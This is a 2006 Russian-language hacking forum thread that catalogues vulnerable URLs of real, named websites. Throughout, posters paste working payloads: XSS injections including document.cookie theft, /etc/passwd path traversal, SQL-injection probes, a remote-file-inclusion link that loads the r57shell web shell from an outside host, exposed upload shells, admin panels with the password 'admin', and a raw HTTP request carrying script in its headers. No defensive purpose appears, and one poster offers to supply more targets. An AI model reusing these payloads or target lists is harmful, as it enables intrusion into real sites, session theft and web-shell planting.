Баги на сайтах.

Discussion in 'Уязвимости' started by D1mOn, 28 Jan 2006.

Thread Status:
Not open for further replies.
  1. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,056
    Likes Received:
    374
    Reputations:
    460
    _http://retvshowcase.com/fileupload/store/re.php
     
    #101 DIAgen, 15 May 2006
    Last edited by a moderator: 16 May 2006
  2. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,125
    Likes Received:
    817
    Reputations:
    97
    _http://baby.chg.ru/cgi-bin/articledb/article.cgi
    В строке поиска:
    <script>alert('tested_by_Sa-D_007');</script>
     
  3. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    _http://narod.yandex.ru/filemanager/rename.xhtml?f="><script>alert(document.cookie)</script>
    _http://www.baset.cz/index.php?p_stranka=vypis.php&p_od=1&
    да было дело...
    я админам vbulletin.net.ru ещё около недели назад сказал о баге, так они слюни как бабы распустили и забанили, вообще теперь х*й кому из админов говорить буду...
     
    3 people like this.
  4. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,056
    Likes Received:
    374
    Reputations:
    460
    _http://3sute.trei.ro/upload/re.php
     
    #104 DIAgen, 15 May 2006
    Last edited by a moderator: 16 May 2006
  5. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,056
    Likes Received:
    374
    Reputations:
    460
    _http://hossam.glwb.info/linkman101/index.php
    pass: admin
     
    #105 DIAgen, 15 May 2006
    Last edited by a moderator: 16 May 2006
  6. *Chakir*

    *Chakir* Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    22
    Likes Received:
    8
    Reputations:
    5
    _http://greenhodge.net/g/404_error.php
    _http://ukrlit.clawz.com/text.php?f=..../../etc/passwd
    _http://www.geocode.com/modules.php?n...c/passwd&pre=y
    _http://buddhafiguren.de/etc/
    _http://www.igromania.ru/games/?666'567
    _http://www.ext.ru/?id=7"><script>alert()</script>
    _http://www.newstrack.ru/newstrack3/portal/news/view/20050414/a/
    _http://www.mobiteka.ru/melodies/melodies.shtml?artid=27'
    _http://referat.na5.ru/load.php?id=504948'
    _http://referat.apple-online.ru/index.php?type=diplom_1&id=3478'
    _http://www.3a.kiev.ua/good.php?name=<script>alert()</script>
    _http://catalog.begun.ru/?q="><script>alert()</script>
    _http://7000.ru/computers/details.php?id=2'
    _http://sofit.com.ua/rus/asearch/0/1/0/?ser_mid=-1&go_search=1&q_search="><script>alert()</script>
    Вроде нормально надо еще будет просите!
     
    #106 *Chakir*, 15 May 2006
    Last edited: 15 May 2006
    2 people like this.
  7. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,106
    Likes Received:
    789
    Reputations:
    324
    _http://www.evrey.com/sitep/list/index.php3?menu=http://rst.void.ru/download/r57shell.txt?
     
  8. Foster

    Foster Elder - Старейшина

    Joined:
    14 Jul 2005
    Messages:
    80
    Likes Received:
    9
    Reputations:
    2
    _http://www.surnameroundup.com/paxguestbook/templates/url.php
     
    #108 Foster, 16 May 2006
    Last edited: 16 May 2006
    1 person likes this.
  9. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,056
    Likes Received:
    374
    Reputations:
    460
    _http://50mb.glwb.info/store/re.php
     
    #109 DIAgen, 16 May 2006
    Last edited by a moderator: 16 May 2006
  10. *Chakir*

    *Chakir* Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    22
    Likes Received:
    8
    Reputations:
    5
    _http://www.paladins.ru/znaxar.php?free="><script>alert(1)</script>&sila1=3"><script>alert(2)</script>&lovk1=3"><script>alert(3)</script>&intuiz1=3"><script>alert(4)</script>&vinos1=12"><script>alert(5)</script>&intel1="><script>alert(6)</script>&mudr1="><script>alert(7)</script>&sila2="><script>alert(8)</script>&lovk2="><script>alert(9)</script>&intuiz2="><script>alert(10)</script>&vinos2="><script>alert(11)</script>&intel2="><script>alert(12)</script>&mudr2="><script>alert(13)</script>&flag=2"><script>alert(14)</script>
    _http://horoscopes.rambler.ru/day.html?day=1<script>alert(1)</script>&month=4&year=1965<script>alert(2)</script>
    _http://blog.msk.ru/login.php?login=<script>alert()</script>&pass=&subm
    it=OK
     
    2 people like this.
  11. *Chakir*

    *Chakir* Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    22
    Likes Received:
    8
    Reputations:
    5
    _http://www.film.ru/search.asp?what="style=background:url(javascript:alert());"&a
    mp;where=root&mode=medium
    _http://smchat.ru/?s=reguser&login="><script>alert()</script>
    _http://www.optimize.nl/site/jsp/print.jsp?file=<script>alert()</script>
    _http://encycl.accoona.ru/?word=<script>alert()</script>
    _http://hw.ru/hi-tech/Login.jsp?login='"><script>alert(1)</script>&password='"><script>alert(2)</script>
    _http://www.srb.ru/search-results/?q="><script>alert()</script>&m=all&wm=wrd&ps=10&page=0
    _http://www.w3.org/Search/Mail/Public/search?keywords=&hdr-1-name=subject&hdr-1-query="><script>alert(1)</script>&index-grp=Public__FULL&index-type=t&type-index="><script>alert(2)</script>
     
  12. CinerX

    CinerX Elder - Старейшина

    Joined:
    13 Feb 2006
    Messages:
    81
    Likes Received:
    17
    Reputations:
    13
    XSS
    _http://www.z-team.net.ru/?id=utilit_whois в поиске доменов
    _http://mirsofta.ru/ в поиске
     
  13. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,056
    Likes Received:
    374
    Reputations:
    460
    _http://humanoid.ru/chat/install.php
     
    1 person likes this.
  14. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,056
    Likes Received:
    374
    Reputations:
    460
    _hxxp://chinaeveryday.ru/RU/
     
    #114 DIAgen, 16 May 2006
    Last edited: 17 May 2006
    1 person likes this.
  15. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,573
    Likes Received:
    976
    Reputations:
    783
    XSS:
    _http://hp.qsrch.com/apps/eps/eps.cgi?prt=hp03&uuid=67b0795864c9d6f84de322f426cc8788&s=%3Cscript%3Ealert%28%27JS%27%29%3C%2Fscript%3E&submit=Go
    _http://hp.qsrch.com/apps/eps/eps.cgi?Keywords=%3Cscript%3Ealert%28%27JS%27%29%3C%2Fscript%3E&loc=ST&upartner=hp03&ps=H3OTUSER
     
    1 person likes this.
  16. *Chakir*

    *Chakir* Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    22
    Likes Received:
    8
    Reputations:
    5
    _http://www.pentagon.gov/srch/search?template=/search/results-template-dl.html&c=A3B245203F9EBEC5FC8C306E4AAF152F&c=8268333F54379065&c=6FDF5BD0BF338D19&c=1DA2190B5E9F39D2&q=666&submit=Search&sort=-pub_date'
    Пентагон
    _http://sources.ru/cgi-bin/sources/search/search.cgi?stpos=0&query=<script>alert()</script>&stype=AND
    _http://www.tug.org/PSTricks/main.cgi?search=<script>alert()</script>&search=Search
     
  17. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,573
    Likes Received:
    976
    Reputations:
    783
    Сайт qmp3, xss:
    _http://www.qmp3.ru/search.php?string=%3Cimage+style%3Dbackground%3Aurl%28javascript%3Aalert%28%2FSLIP%2F%29%29%3E&st=all
     
  18. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    757
    Likes Received:
    351
    Reputations:
    353
    1 person likes this.
  19. back0rifice

    back0rifice Active Member

    Joined:
    16 Mar 2006
    Messages:
    328
    Likes Received:
    107
    Reputations:
    19
    _http://www.crpg.ru/sections.php?op=listarticles&secid=375(
    _http://www.crpg.ru/sections.php?op=viewarticle&artid=1539(
     
    1 person likes this.
  20. Deem3n®

    Deem3n® RTFMSDN

    Joined:
    19 Sep 2005
    Messages:
    378
    Likes Received:
    153
    Reputations:
    164
    XSS на xss.ru
    Code:
    GET http://ip.xss.ru/header.php HTTP/1.1
     Accept: */*
     Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
     Accept-Encoding: gzip,deflate
     Accept-Language: en-us,en;q=0.5
     Connection: keep-alive
     Host: ip.xss.ru
     Keep-Alive: 300
     User-Agent: <IMG SRC="javasCript:alert('User-Agent - client side script works!!')">
     Via: <IMG SRC="javasCript:alert('Via - client side script works!!')">
     Referer: <IMG SRC="javasCript:alert('Referer - client side script works!!')">
     
    2 people like this.
Loading...
Thread Status:
Not open for further replies.